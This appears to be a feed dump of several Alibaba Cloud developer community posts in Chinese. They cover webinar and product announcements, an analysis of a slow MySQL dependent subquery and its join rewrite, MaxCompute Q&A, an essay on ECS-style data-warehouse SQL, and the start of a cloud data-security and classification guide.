        AnalyticDB for MySQL作为新一代云原生敏捷数据仓库,旨在帮助用户快速构建一套高性能、高可用、高可靠、高弹性和智能化的云数据仓库,更好的实现用户数据价值在线化。本次分享主要针对AnalyticDB for MySQL基础版特性以及用户如何0门槛和超低成本构建实时数据仓库。

        第89期: Serverless工作流重磅发布

        直播时间:2020年4月15日 15:00-16:00 预约观看

        对于分布式应用和微服务而言,往往涉及构建复杂的、多步骤的、有状态的和长时间运行的业务流程。本次发布会将向大家隆重介绍阿里云Serverless工作流,致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作。此外,该服务可协调各类分布式组件,减少流程代码量,在实现丰富控制逻辑的同时提高应用容错性,其自动扩展助力客户免于管理硬件预算和扩展。


        往期回顾

        第87期:云数据库SQL Server 2019新版本发布会 活动页面 直播视频

        RDS SQL Server作为一款重要的关系型数据库产品,它以优秀的性能、可靠的稳定性以及高安全性被广大客户广泛用于生产系统中,阿里云RDS SQL Server拥有完整的产品形态和版本,部署形态从基础版、高可用版到集群版;规格上从独享型、通用型到共享型,从单租户到多租户;并以此构建完整的生命周期管理、备份还原和智能化运维体系。最新推出了经济易用的重磅产品和特性,这里将会有详细的解读。

        第86期:OceanBase新品发布 活动页面 直播视频

        OceanBase是100%自研的金融级分布式关系数据库,在普通硬件上实现金融级高可用,在金融行业首创’三地五中心’城市级故障自动无损容灾新标准,同时具备在线水平扩展能力,创造了6100万次/秒处理峰值的业内纪录,在功能、稳定性、可扩展性、性能方面都经历过严格的检验 。有着优异成绩的它还有什么亮点呢?

        第85期:解决方案体验中心SEC重磅发布 活动页面 直播视频

        想了解一个解决方案的更多细节, 图文介绍限制了想象力怎么办? 线下Demo不能随时随地体验怎么办? 阿里云全新打造的线上解决方案深度体验平台SEC将给您带来7*24小时在线的一站式解决方案新体验。本次直播将进行SEC的发布跟全面介绍, 并通过SEC平台深度展示跟介绍阿里云智慧教学解决方案。

        第84期:Redis企业版 & 专享主机组新品发布会 活动页面 直播视频

        随着淘宝网的流量快速增长,数据库的压力与日俱增,基于后端系统的缓存技术应运而生。从服务淘宝详情和验证码等业务的持久化系统TBStore,到初始服务于淘宝用户中心的TDBM等等,后端系统缓存技术经历了多个系统和阶段的演变与积累,到2009年,这些系统、技术经验经过进一步的研发,融合成了阿里巴巴大规模高速存储系统Tair,也就是阿里云数据库Redis企业版 。

        第83期:阿里云混合云管理平台重磅发布 活动页面 直播视频

        混合云管理平台是面向混合云场景的一体化企业级运营管理平台,提供对公有云,私有云和混合云统一的集成管理,从关注应用、敏捷应变、优化成本出发,提供简单、智能、开放的云管平台,让客户更好的管理云环境,获得更好的运维管理体验。

        第82期:阿里云视觉智能开放平台发布会 活动页面 直播视频

        视觉智能技术作为AI落地最广的技术之一如今已应用在社会的各个角落,包括人脸人体,文字识别,商品识别,视频理解,内容安全等等耳熟能详的应用。视觉能力赋予了计算机感知世界的能力,如今随着技术的发展,视觉计算正逐渐从感知走向认知。阿里巴巴经济体在这一块投入了大量的资源和长期的努力(包括达摩院),研发并应用了众多优质的视觉能力,形成了体系化的视觉智能技术,这些能力在经济体上诸多明星应用上发挥价值,包括淘宝、天猫、支付宝、优酷等。如今,阿里云将这些在明星产品和解决方案中得以锤炼过的视觉API原子能力公开,帮助企业和开发者高效研发,创造更多,更强的视觉智能应用。

        产品动态

        新功能/版本:

        1、智能语音交互 - 公共云实时转写语音识别服务支持高级vad参数功能,可进一步满足用不同场景下的定制化vad需求 查看产品 产品文档

        实时转写语音识别服务支持高级vad参数功能,可进一步满足用不同场景下的定制化vad需求,比如延迟敏感型用户可以通过vad特定优化 。

        2、分析型数据库PostgreSQL版 - 云原生数仓 AnalyticDB for PostgreSQL 支持 SQLServer 数据同步 查看产品 产品文档

        分析型数据库PostgreSQL版(原HybridDB for PostgreSQL)为您提供简单、快速、经济高效的 PB 级云端数据仓库解决方案。分析型数据库PostgreSQL版 兼容 Greenplum 开源数据仓库,为一种采用 MPP 全并行架构的数仓服务,其广泛兼容 PostgreSQL/Oracle 的语法生态,新一代向量引擎性能超越传统数据库引擎 10 倍以上,分布式SQL优化器实现复杂查询语句免调优。通过分析型数据库PostgreSQL版可以实现对海量数据的即席查询分析、ETL 处理及可视化探索,是各行业有竞争力的云上数据仓库解决方案。

        3、数据管理 - 数据管理DMS数据开发功能升级新增数仓开发 查看产品 产品文档

        数据管理(Data Management)支持MySQL、SQL Server、PostgreSQL、PPAS、Petadata等关系型数据库,DRDS等OLTP数据库,ADS、DLA等OLAP数据库和MongoDB、Redis等NoSQL的数据库管理,同时还支持Linux服务器管理。它是一种集数据管理、结构管理、用户授权、安全审计、数据趋势、数据追踪、BI图表、性能与优化和服务器管理于一体的数据管理服务。用户使用数据管理服务实现易用的数据库和服务器统一管理入口,让数据更安全、管理更高效、数据价值更清晰。

        4、 Elasticsearch - 支持用户手动更新至最新AliElasticsearch通用内核版本,一键体验最新功能特性 查看产品 产品文档

        智能顾问Advisor根据用户情况,结合阿里云长期以来的客户侧最佳实践,基于TAM(Technical Account Management)服务体系的核心基础能力,全方位地为用户提供云资源、应用架构、业务性能及安全上的诊断和优化建议。现在,越来越多的阿里云云原生客户可以通过Advisor便捷地享受专业的TAM基础服务,更好地用好云。同时,我们也会围绕Advisor为有相关需求的客户提供专项深度的TAM服务。

        4月特惠
        102354402a5946aca8b51c3069de1839.jpg
        点击领取大礼包

        资料下载

        首发 | YouTube深度学习推荐模型最全总结

        基于 YouTube 的商业模式和内容特点,其推荐团队构建了两个深度学习网络分别考虑召回率和准确率的要求,并构建了以用户观看时长为优化目标的排序模型,最大化用户观看时长并进而产生更多的广告曝光机会,下面详细介绍 YouTube 推荐系统的模型结构和技术细节。

        重磅下载!《2020前端工程师必读手册》,阿里巴巴前端委员会推荐!

        阿里巴巴前端委员会推荐!覆盖5大热点前端技术方向10+核心实战的前端手册--《2020前端工程师必读手册》已经正式上线了,大家可以免费下载了,解锁前端新方式,挖掘前端新思路,尽在此刻,赶紧来先睹为快!

        扫描二维码加入社区圈
        5555

        ]]>
        MYSQL SUBQUERY执行过程-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 实为吾之愚见,望诸君酌之!闻过则喜,与君共勉

        环境

        version | 5.6.24-debug |
        | version_comment | Source distribution |
        | version_compile_machine | x86_64 |
        | version_compile_os | Linux |

        SQL

        该SQL是一个subquery SQL

        SELECT h_1.*, o.S FROM h h_1, p o WHERE o.id = h_1.T AND h_1.id IN ( SELECT substring_index(GROUP_CONCAT(h_11.id ORDER BY h_11.C DESC), ',', 1) FROM h h_11, p o1 WHERE h_11.HI = 90 AND h_11.F = 81 AND o1.id = h_11.T GROUP BY T )

        问题

        subquery内的单独的SQL耗时0.01S,合并起来后,整个SQL耗时4min20S,耗时非常长

        执行时间与执行计划对比

        整个SQL的执行时间与执行计划:

        SELECT h_1.*, o.S FROM h h_1, p o WHERE o.id = h_1.T AND h_1.id IN ( SELECT substring_index(GROUP_CONCAT(h_11.id ORDER BY h_11.C DESC), ',', 1) FROM h h_11, p o1 WHERE h_11.HI = 90 AND h_11.F = 81 AND o1.id = h_11.T GROUP BY T )

        7 rows in set (4 min 20.57 sec)

        id select_T table T possible_keys key key_len ref rows Extra
        1 PRIMARY o ALL PRIMARY NULL NULL NULL 150 NULL
        1 PRIMARY h_1 ref idx_T idx_T 5 alitest.o.id 278 Using where
        2 DEPENDENT SUBQUERY h_11 index_merge index_HI,idx_T,idx_F idx_F,index_HI 5,5 NULL 6 Using intersect(idx_F,index_HI); Using where; Using filesort
        2 DEPENDENT SUBQUERY o1 eq_ref PRIMARY PRIMARY 4 alitest.h_11.T 1 Using index

        SQL拆分执行时间如下:

        subquery SQL:

        SELECT substring_index(GROUP_CONCAT(h_11.id ORDER BY h_11.C DESC), ',', 1) FROM h h_11, p o1 WHERE h_11.HI = 90 AND h_11.F = 81 AND o1.id = h_11.T GROUP BY T

        7 rows in set (0.01 sec)

        id select_T table T possible_keys key key_len ref rows Extra
        1 SIMPLE h_11 index_merge index_HI,idx_T,idx_F idx_F,index_HI 5,5 NULL 6 Using intersect(idx_F,index_HI); Using where; Using filesort
        1 SIMPLE o1 eq_ref PRIMARY PRIMARY 4 alitest.h_11.T 1 Using index

        外层SQL:

        SELECT h_1.*, o.S FROM h h_1, p o WHERE o.id = h_1.T

        60000 rows in set (1.38 sec)

        id select_T table T possible_keys key key_len ref rows Extra
        1 SIMPLE o ALL PRIMARY NULL NULL NULL 150 NULL
        1 SIMPLE h_1 ref idx_T idx_T 5 alitest.o.id 278 NULL

        问题分析

        分析方法

        借助GDB调试MYSQL,确认问题

        耗时环节代码

        该SQL整体执行时,代码的主要执行部分分为2部分,这两部分构成了MYSQL的nested loop算法,分别如下:

        代码1

        sub_select (join=0x7fbe78005808, join_tab=0x7fbe78006738, end_of_records=false) at /opt/mysql-5.6.24/sql/sql_executor.cc:1203

        主要代码块:该代码块以while进行循环,获取多表关联时第一个表的数据(取决于执行计划的执行顺序)循环读取并进行比较判断,while循环结束的前提是error<0,也就是数据取完

        while (rc == NESTED_LOOP_OK && join->return_tab >= join_tab)
        
          {
        
            int error;
        
            if (in_first_read)
        
            {
        
              in_first_read= false;
               //表的read first record记录
              error= (*join_tab->read_first_record)(join_tab);
        
            }
        
            else
               ////取出表的下一行记录直到最后一条记录
              error= info->read_record(info);
        
            DBUG_EXECUTE_IF("bug13822652_1", join->thd->killed= THD::KILL_QUERY;);
        
            if (error > 0 || (join->thd->is_error()))   // Fatal error
        
              rc= NESTED_LOOP_ERROR;
        
            else if (error < 0)
              //以error状态判断数据是否取完,取完后循环在此终止
              break;
        
            else if (join->thd->killed)     // Aborted by user
        
            {
        
              join->thd->send_kill_message();
        
              rc= NESTED_LOOP_KILLED;
        
            }
        
            else
        
            {
        
              if (join_tab->keep_current_rowid)
        
                join_tab->table->file->position(join_tab->table->record[0]);
               //对获取到的行记录,进行比较,该函数内部可能会继续调用sub select,产生nest loop
              rc= evaluate_join_record(join, join_tab);
        
            }
        
          }

        代码2

        evaluate_join_record (join=0x7fbe64005478, join_tab=0x7fbe640063a8) at /opt/mysql-5.6.24/sql/sql_executor.cc:1449

        主要代码块:

        @@1部分主要对拿到的数据进行判断,确认是否符合where后的条件,以该SQL为例,如果从表h h_1里拿到了一行数据,因为该表where后有判断条件,条件为:

        h_1.id IN ( SELECT substring_index(GROUP_CONCAT(h_11.id ORDER BY h_11.C DESC), ',', 1) FROM h h_11, p o1 WHERE h_11.HI = 90 AND h_11.F = 81 AND o1.id = h_11.T GROUP BY T )

        则该代码块(@@1)会对这个subquery进行调用(相当于重新执行一次这个subquery,gdb跟踪时可以跟踪到最终调用JOIN::exec->do_select->sub_select->evaluate_join_record),所以没取一次数据,就要对其进行判断,故这个subquery每一次都要重新执行,它并不是只执行一次拿到数据然后对比。

        @@2 部分的*join_tab->next_select会重新调用sub_select,进入循环部分,获取下一个关联表的数据,并再次进入evaluate_join_record 进行一系列判断,直至数据取完

        @@1

         if (condition)
        
          {
        
            found= MY_TEST(condition->val_int());
        
            if (join->thd->killed)
        
            {
        
              join->thd->send_kill_message();
        
              DBUG_RETURN(NESTED_LOOP_KILLED);
        
            }
        
            /* check for errors evaluating the condition */
        
            if (join->thd->is_error())
        
              DBUG_RETURN(NESTED_LOOP_ERROR);
        
          }

        @@2

        enum enum_nested_loop_state rc;
        
              /* A match from join_tab is found for the current partial join. */
        
              rc= (*join_tab->next_select)(join, join_tab+1, 0);
        
              join->thd->get_stmt_da()->inc_current_row_for_warning();
        
              if (rc != NESTED_LOOP_OK)
        
                DBUG_RETURN(rc);

        推测和结论

        从代码调试的结果看,subquery并不是执行一次就结束,mysql针对这个查询,会先执行外层查询(while循环,具体循环次数取决于记录数),然后每一次都要调用evaluate_join_record 进行判断(无论是p o表还是h h_1表),当取h h_1表时,每一次读取都会对subquery进行一次编译,循环往复,直至数据取完,所以在这个过程中,subquery的SQL会被执行很多次,造成耗时增加。

        https://dev.mysql.com/doc/refman/5.7/en/explain-output.html#explain-extra-information

        For DEPENDENT SUBQUERY, the subquery is re-evaluated only once for each set of different values of the variables from its outer context.

        解决办法

        改写为join查询:

        SELECT h_1.*, o.S FROM h h_1, p o, ( SELECT SUBSTRING_INDEX(GROUP_CONCAT(h_11.id ORDER BY h_11.C DESC), ',', 1) AS ceshi FROM h h_11, p o1 WHERE h_11.HI = 90 AND h_11.F = 81 AND o1.id = h_11.T GROUP BY T ) alitest WHERE o.id = h_1.T AND h_1.id = alitest.ceshi

        id select_T table T possible_keys key key_len ref rows filtered Extra
        1 PRIMARY ALL NULL NULL NULL NULL 5 100.00 Using where
        1 PRIMARY h_1 eq_ref PRIMARY,idx_T PRIMARY 4 alitest.ceshi 1 100.00 Using where
        1 PRIMARY o eq_ref PRIMARY PRIMARY 4 alitest.h_1.T 1 100.00 NULL
        2 DERIVED h_11 index_merge index_HI,idx_T,idx_F idx_F,index_HI 5,5 NULL 6 83.33 Using intersect(idx_F,index_HI); Using where; Using filesort
        2 DERIVED o1 eq_ref PRIMARY PRIMARY 4 alitest.h_11.T 1 100.00 Using index
        ]]>
        MaxCompute问答整理之2020-03月-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文是基于本人对MaxCompute产品的学习进度,再结合开发者社区里面的一些问题,进而整理成文。希望对大家有所帮助。

        问题一、在 MaxCompute SQL执行过程中,报错Table xx has n columns, but query has m columns如何处理?
        MaxCompute SQL使用INSERT INTO/OVERWRITE插入数据时,需要保证SELECT查询出 来的字段和插入的表的字段匹配,匹配内容包括顺序、字段类型,总的字段数量。目前 MaxCompute不支持插入表的指定字段,其他字段为NULL或者其他默认值的情况,您可以 在SELECT的时候设置成NULL,例如SELECT ‘a’,NULL FROM XX。

        问题二、MaxCompute 中使用什么方法可以实现相同字段连接,将group by产生的同一个分组中的值连接起来,返回一个字符串结果。类似MySql中的group_concat()函数?
        MaxCompute可以使用WM_CONCAT函数来实现相同字段连接。具体函数说明可参考:
        https://help.aliyun.com/document_detail/48975.html

        问题三、如何在MaxCompute Java SDK上使用Logview排错?
        MaxCompute Java SDK提供了Logview接口 i = SQLTask.run(odps, sql); String logview = odps.logview().generateLogView(i, 7 * 24);

        问题四、如何进行增量数据同步到MaxCompute?
        可以尝试两种方式,一种不变的数据进行增量同步,一种是会变的数据进行增量同步(不推荐使用此方式,只有如不支持Delete语句),可参考文档:https://help.aliyun.com/document_detail/87157.html

        问题五、MaxCommpute中,如何修改表的Hash Clustering属性?
        增加表的Hash Clustering属性语句如下:
        ALTER TABLE table_name [CLUSTERED BY (col_name [, col_name, ...]) [SORTED BY (col_name [ASC | DESC] [, col_name [ASC | DESC] ...])] INTO number_of_buckets BUCKETS]
        去除表的Hash Clustering属性的语法格式如下:
        ALTER TABLE table_name NOT CLUSTERED;

        问题六、Tunnel上传数据的时候报错信息如下:You cannot complete the specified operation under the current upload or download status
        错误原因:Session过期或者已经Commit过,需要重新创建Session上传。Tunnel上传时每个Session的生命周期是一天,如果源表数据太大,导致Session超时任务失败时,建议将源表拆分成2个任务执行。

        问题七、如何使用Clone table实现同region不同账号之间的MaxCompute的数据迁移?
        使用Clone table进行数据迁移操作,命令格式为CLONE TABLE <[src_project_name.]src_table_name> [PARTITION(spec), ...]TO <[dest_project_name.]desc_table_name> [IF EXISTS (OVERWRITE | IGNORE)] ;
        可参考文章:https://developer.aliyun.com/article/748158

        问题八、MaxCompute Python UDF如何开启Python 3?
        在执行Python 3 UDF的SQL语句前增加set odps.sql.python.version=cp37;语句一起执行,即可开启Python 3。

        问题九、MaxCompute中如何禁止/恢复生命周期功能?
        可使用禁止/恢复生命周期SQL来设置。具体语法如下:

           ALTER TABLE table_name [partition_spec] ENABLE|DISABLE LIFECYCLE;
        

        问题十、MaxCommpute中,如何查看指定的表或者分区是否存在?
        可使用使用函数TABLE_EXISTS,查询指定的表是否存在。
        使用函数PARTITION_EXISTS,查询指定的分区是否存在。
        具体函数说明可参考:
        https://help.aliyun.com/document_detail/48976.html

        欢迎扫码加入 MaxCompute开发者社区钉钉群,或点击 申请加入。
        2群.png

        ]]>
        面向数据编程:ECS设计模式在数仓中应用的思考-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言

        作为一个从Java转去做大数据的开发,尤其是基于Hiv采用SQL的开发来说,抛弃了使用了很久的OOP,面向对象编程的设计思想后,总觉得有点不习惯。传统的web项目中,对SQL的使用更多还是在数据的增删改查上,而在大数据领域,更多复杂的数据分析,数据交并差的处理,导致SQL代码量急速增加,可维护性大幅降低。而SQL本身就是一个面向过程描述的语言,Java中常见的MVC,MVVP等设计模式也不适合套用在SQL身上。那么,是不是应该存在一种设计模式,适用于面向过程的编程设计呢?

        带着这样的疑问,我开始关注面向数据编程。面向数据编程,核心在于数据。我希望数据可以变得更加灵活,方便开发者对它进行加工。同时,加工过程可以做到高内聚,低耦合。带着这样的需求,查阅了很多资料。直到有一次,无意中看到游戏引擎Unity3D采用的ECS设计模式,突发奇想,意识到这是不是可以满足我的需求呢?

        关于游戏开发中的ECS简单介绍

        ECS是Entity-Component-System三个单词的缩写。最早是在2002年的Game Dungeon Siege上被提出来,是为了解决游戏设计中,物体直接数据交互和性能的问题。

        它在游戏开发中的演变逻辑可以参考这篇文章:https://zhuanlan.zhihu.com/p/32787878

        简单的说,Entity、Component、System分别代表了三类模型。

        实体(Entity):实体是一个普通的对象。通常,它只包含了一个独一无二的ID值,用来标记它是一个独立的对象。通常使用整型数字作为它的实现。

        组件(Component):对象一个方面的数据,以及对象如何和世界进行交互。用来标记实体是否需要进行这一方面的处理,通常使用结构体,类或关联数组实现。

        系统(System):每个系统不间断地运行(就像每个系统运行在自己的私有线程上),处理标记使用了该系统处理的组件的每个实体。

         

        它跟传统OOP编程有什么不一样呢?

        最核心差异点在于:传统OOP编程里,我们会先对编程对象进行虚拟化抽象,将共同的一类数据归到父类或者接口中,子类继承或实现对应的接口。在游戏开发中,父类往往是被锁死的,而一旦需要对逻辑作出修改,要么重写实现,要么继承基类进行覆盖。但游戏策划的创意是天天都可能会变化的。从而造成大量子类重复出现,大幅降低。此外,在对于C++语言中,使用对象池优化时就会造成灾难性的后果——一种类型一个池。

        其次,从计算机底层数据传输上来说,传统OOP在传递数据时都是采用对象进行封装。但通常需要用到的数据只是对象中一两个属性。对于大部分web应用上来说,多读取的对象数据影响不大,但对数据密集型计算(例如游戏图像领域),则对性能会产生影响。

         

        而ECS就是可以解决以上问题。ECS全写即“实例-组件-系统”的设计模式。简言之,实例就是一个游戏对象实体,一个实体拥有众多的组件,而游戏系统则负责依据组件对实例做出更新。

        举个例子,如果对象A需要实现碰撞和渲染,那么我们就给它加一个碰撞组件和一个渲染组件;如果对象B只需要渲染不需要碰撞,那么我们就给它加一个渲染组件即可。而在游戏循环中,每一个系统都会遍历一次对象,当渲染系统发现对象持有一个渲染组件时,就会根据渲染组件的数据来执行相应的渲染过程。同样的碰撞系统也是如此。

        也就是说游戏对象需要什么就会给自己加一个组件。而系统会依据游戏对象增加了哪些组件来做出行为。换言之实例只需要持有必要的数据,由系统负责逻辑就行了。由于只需要持有必要数据,因此对于缓存是非常友好的。这也就是ECS模式能和数据驱动很好结合的一个原因。

         

        对于ECS在数仓建设应用中的一些思考

        对于数仓建设,也是一个面向数据驱动的开发。因此我将ECS和数仓的代码联系起来,思考如何将ECS的设计模式在数仓中应用。我给出了以下的一些想法:

        一个基本假设:

        在数仓中,如果可以抛弃pk依赖后,一张表就是一群Schema的合集。

        这是我对数仓中数据构成的根本假设。如果一张表里的其他Schema被PK约束,自然会导致Schema直接产生逻辑关系。如果没有PK,那么各个Schema互相之间是平等的,Schema之间可以互相组合。表只是由一个个的Schema填充而成的。这样听起来是不是很像Entity和Component之间的关系呢?

        所以我大胆的列出一个映射关系。

        与ECS的关系映射:

        Entity对应于数仓中的Table,Component对应Schema,System对应数仓中SQL逻辑。

        image.png

         

        对于一张表来说,又若干个Schema构成。对于SQL代码来说,它关心的只是要用到的Schema,而不是表的业务逻辑。一张表可以由多个不同的SQL共同产出。所以依赖关系可以是这样的:

        image.png

        SQL只需关心它加工逻辑中需要用到什么Schema,产出什么Schema;Table只需要关心,它的业务逻辑是由哪几个Schema组成;而Schema自己只需要关心,自己代表什么原子含义。

        ECS模式下的SQL伪代码简单实现

        在SQL语言,我们一般代码会写成这样:

        Select A1

        From Tbale1

        Where Condition1

        A1代表我们需要的Schema,Table1是表,Condition1是需要满足的条件。

        对于ECS架构来说,这样写违背了System不跟Entity交互的原则。理想的ECS实现是:

        Select Table1.A1

        Where  Condition1

        如果不同表中的Schema都是平等的,那么只需要指出使用的是哪个表里的Schema,和对应的加工条件。无需再将表名列入其中。

        当然,有人会说,不就是多个From Table嘛,多写这一句话也不会怎么样。

        是的,但大多数数仓开发中,并不是简简单单的一张表的处理。往往我们还会遇到很多表之间交并差的情况。这个时候,我们写的最多的代码是:

        select t1.a,t2.b

        from (

        select *

        from table1

        where condition1

        ) as t1 left

        join table2 as t2

        on condition2

         

        对于一个ECS架构,我们的实现是:

        select table1.a,table2.b

        where condition1 and condition2

        这样看起来,代码是不是就简洁明了多了呢?(当然,现阶段SQL语法并不支持这种写法)

         

        另外,我们在处理表数据的时候,经常还会遇到这样一种情况:

        insert into tmp_table1

        select a1,a2,a3……a31,a32,cast(a33 as bigint) as b1

        from table

        where condition1

         

        inset into result_table1

        select a1,a2,a3……a31,a32,b1+1 as c

        from tmp_table1

         

        inset into result_table2

        select a1,a2,a3……a31,a32,b1+2 as c

        from tmp_table1

        从a1到a32 一共32个列名,其实是不需要做任何特殊处理的,只需要根据condition1条件筛选出来。之后我们又要带着a1……a32在两张结果表中进行插入。且不提这样复制粘贴列名操作十分麻烦,容易出错,就是我们是否有必要这么做?

        我们的诉求可能只是修改某一张表里的某一列值,但不得不把这张表的其他字段反复提取插入。

        根据ECS的设计思想,所有列值都是互相平等的。每张表(Entity)只是由列(Component)填充,Sql(System)只是负责逻辑行为。

        那么,实际操作应该是:

        insert into tmp_table1

        select table.a1,table.a2,table.a3……table.a31,table.a32

        where condition1

         

        insert into tmp_table2

        select ,cast(table.a33 as bigint) as b1

        where condition1

         

        inset into result_table1

        from tmp_table1 add colum tmp_table2.b1+1 as c

         

        inset into result_table2

        from tmp_table1 add colum tmp_table2.b1+2 as c

         

        (以上都是伪代码)

        这样写看上去代码行数没变化,但好处是,如果table中结构发生变更,只需修改上层tmp_table1的结构即可,对结果表无感知。这一点上反而有点像OOP中的继承关系。

         

        总结

        思考将ECS设计模式引入数仓设计,本意是希望开发者可以更加关注于逻辑,关注数据如何处理,也就是S的部分。业务则由从列构建表的时候产生。将表结构和数据处理逻辑进行拆分,从而希望能提升SQL代码的可读性和结构性。

        SQL本身是一个非常优秀的描述型语言,给数据处理带来了极大的便利。但在表结构越发复杂的今天,我已经感觉到传统的SQL的局限性。希望通过ECS设计模式的思考,可以大家带来更多的启发,可以让SQL代码像其他工程语言一样,简洁优雅。

         

         

         

         

        ]]>
        阿里云上企业数据安全工作指南-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 概述

        数据是企业的核心资产,如何保护企业的云上数据,是每个企业管理者都应当重视的课题。在云平台提供更为安全便捷的数据保护能力的同时,阿里云根据自身多年的经验积累,结合大量云上客户的最佳实践,提供了一套完整的数据安全解决方案,帮助企业提升云上数据风险防御能力,实现企业核心及敏感数据安全可控。

         

        数据安全相关法律法规和参考标准

        国内:

        《网络安全法》:主要从“个人信息保护”、“数据存储与跨境安全”、“数据(信息)内容安全”几方面予以规制。

        《网络安全等级保护制度2.0》:分别在安全审计(8.1.3.5)、个人信息保护(8.1.4.11)和资产管理(8.1.10.2)等部分提出了有关数据安全的相关要求。

        《个人信息安全规范》(GB/T 35273-2017):规范了企业在开展数据收集、保存、使用、共享、转让、公开披露等个人信息处理活动过程中应当遵循的原则和安全要求。

        《数据安全能力成熟度模型》(GB/T 37988-2019):基于以数据为中心的管理思路,从数据生命周期的角度出发,结合业务发展过程中的安全需求,开展数据安全保障。

        《数据安全法》和《个人信息保护法》:均在“条件比较成熟,任期内拟提请审议的法律草案”之列,《数据安全法》进程较快已在征求意见稿阶段。

        国外:

        《一般数据保护条例》(General Data Protection Regulation,缩写GDPR)是欧盟于2018年5月25日出台的,在欧盟法律中对所有欧盟个人关于数据保护和隐私的规范,涉及了欧洲境外的个人资料出口。GDPR 主要目标为取回公民以及住民对于个人资料的控制,以及为了国际商务而简化在欧盟内的统一规范。

        美国的医疗服务行业必须遵守该国政府1996年颁布的《健康保险隐私及责任法案》(Health Insurance Portability and Accountability Act,缩写HIPAA)。该法案制定了一系列安全标准,就保健计划、供应商以及结算中心如何以电子文件的形式来传送、访问和存储受保护的健康信息做出详细的规定。法案规定在确保私密性的情况下保存病人信息档案六年,还详细规定了医疗机构处理病人信息规范,以及违法保密原则、通过电子邮件或未授权的网络注销病人档案的处罚方案。

         

        阿里巴巴集团及阿里云在数据安全上的相关工作:

        阿里云数据安全承诺:

        用户的云上数据安全,是用户的生命线,也是云上安全整体能力的一个最重要的具象表现。早在2015年7月,阿里云就发起了中国云计算服务商首个“数据保护倡议”,并在公开倡议书明确:运行在云计算平台上的开发者、公司、政府、社会机构的数据,所有权绝对属于客户;云计算平台不得将这些数据移作它用。平台方有责任和义务,帮助客户保障其数据的机密性、完整性和可用性。

        数据全生命周期防御理念:

        《数据安全能力成熟度模型(DSMM)》(GB/T 37988-2019)是阿里巴巴结合多年数据安全实践经验总结并起草的,旨在助力提升全社会、全行业数据安全水位的一份评估标准以及能力建设参考。该标准的发布也填补了数据安全领域在能力成熟度评估标准方面的空白,为组织机构评估自身数据安全水平,进一步提升数据安全能力,提供了科学依据和参考。

        模型中将数据安全过程维度分为数据全生命周期安全和数据通用安全两个过程,并将数据全生命周期划分为:数据采集安全、数据传输安全、数据存储安全、数据处理安全、数据交换安全、数据销毁安全六个阶段。

        数据生命周期安全共包含30个过程域,为企业保护数据提供了可落地的参考。

        阿里云安全架构与数据安全:

        数据是企业的核心资产,企业信息安全建设的最终目标一定是保护企业核心数据,同时数据安全能力建设也一定不应该是某些功能点的堆砌,一定会和企业内部各维度的安全能力发生融合。阿里云在企业云上安全架构层面提出了五横两纵共七个维度的安全架构最佳实践。五个横向维度自下而上分别是云平台安全、用户基础安全、用户数据安全、用户应用安全和用户业务安全;两个纵向维度分别是账户安全以及安全监控和运营管理。对于数据安全的建设,一定是结合各个维度的安全能力,共同提升安全能力的结果。

        阿里云数据安全最佳实践:

        阿里云建议,在企业开展数据安全相关工作的伊始,数据安全管理人员应当在以下三个层面进行梳理,以便在未来构建数据安全能力的过程中,实现有效落地。

        第一步

        数据资产盘点、权责明确与分类分级标准制定

        • 数据资产盘点与权责明确

        随着企业应用的快速发展,数据存储早已不再仅仅依赖于结构化的数据库,各类非结构化数据(如文本、图片、视频类文件等)、缓存类数据、日志类数据以及结构化数据仓库、数据中台系统,都在企业业务发展的过程中扮演着不同的角色。大量的企业数据分散在各类型的云上数据源中,同时在不同的数据源之间进行传输和流转,如何统一化管理如此纷繁复杂的动态和静态数据,对于企业数据安全人员提出了很高的要求。

        因此,在开始数据安全工作前,应当对企业业务系统使用的数据源进行资产盘点。只有明确了数据安全应当关注的目标对象,才能选择合适的安全能力和手段进行防御体系的搭建。

        同时,对于云中的数据权责,通常会根据不同的业务和应用系统进行划分。数据完成采集、传输和存储后,相关数据控制者在使用数据的同时,也应当承担相应的责任,保证数据的安全;同时,对于第三方数据使用者,也应当按需进行数据使用权申请,减小数据滥用的风险。对于数据权责,可以参考GDPR法规中定义的三类数据主体的权责,分别是数据所有者(Data Subject)、数据控制者(Data Controller)和数据处理者(Data Processor),此处不再赘述。

        • 数据分类分级

        对于分类分级,每个企业都会有适用于其自身所在行业以及业务特点的标准和体系。应当明确的是,分类分级标准的制定,并不应当只是纸面上的工作,而应该结合企业所在的行业和业务特点,有针对性的进行设计,其目的是在未来通过自动化的手段,辅以手工的方式,对海量的企业数据资产进行识别与分类,有效定位企业关键以及敏感类信息在企业数据资产中的分布和流转情况,并通过定级有针对性的进行保护。

        阿里云根据多年来服务云上客户的丰富经验,推荐的企业数据分级为3级,分别为:

        数据分级

        数据敏感度

        数据资产描述

        3级

        高敏感程度

        企业核心或高敏感度资产,一旦泄漏,会对企业带来巨大的经济损失,或是对企业的正常运转带来毁灭性的打击。

        2级

        中敏感程度

        企业重要或中敏感度资产,发生泄漏会给企业带来一定的经济或名誉损失,但不会危害企业业务的正常开展。

        1级

        低敏感程度

        企业公开或低敏感度资产,发生泄漏会对企业带来轻量的经济或是名誉上的损失,且不会对业务开展造成影响。

        需要注意的是,企业应当根据自身实际业务情况,制定适合自身的分级标准。对于中小企业,可以根据企业及业务成熟度,将数据分级进行浓缩,仅区分敏感与非敏感类数据,便于安全防护措施快速落地;同时,对于数据量庞大,业务系统繁多,安全能力成熟度较高的企业,可以对分级进行扩展至4或是5级,以实现更为精细化的数据安全管控。阿里云不建议企业数据分级高于5级,因为过多的分级会给对应的措施落地带来很大的难度,致使分级标准形同虚设,也不利于企业的数据安全管理工作的开展。

        最后,阿里云根据多年客户实践,结合阿里巴巴集团自身经验,对于大型企业的数据分类分级标准设计,建议在分级的标准上,增加分类维度作为分级参考,形成二维的数据分级标准,实现更为精细化的保护,避免产生对于同种不同类的数据发生“一刀切”式保护的情况。最常见的分类维度有企业数据与客户数据的区分,阿里巴巴始终倡导“客户第一”,通过二维化的分级标准,能够更明确的区分数据带给企业的价值,同时将保护客户数据作为第一要务,真正做到“客户第一”。以个人敏感信息为例,当个人敏感信息的主体是企业人力资源相关的内部信息时,可以采取2级作为敏感分级,进行必要的管控保障安全,但如果主体为客户时,就需要将分级定为3级并施加强管控,来保护此类企业关键信息。
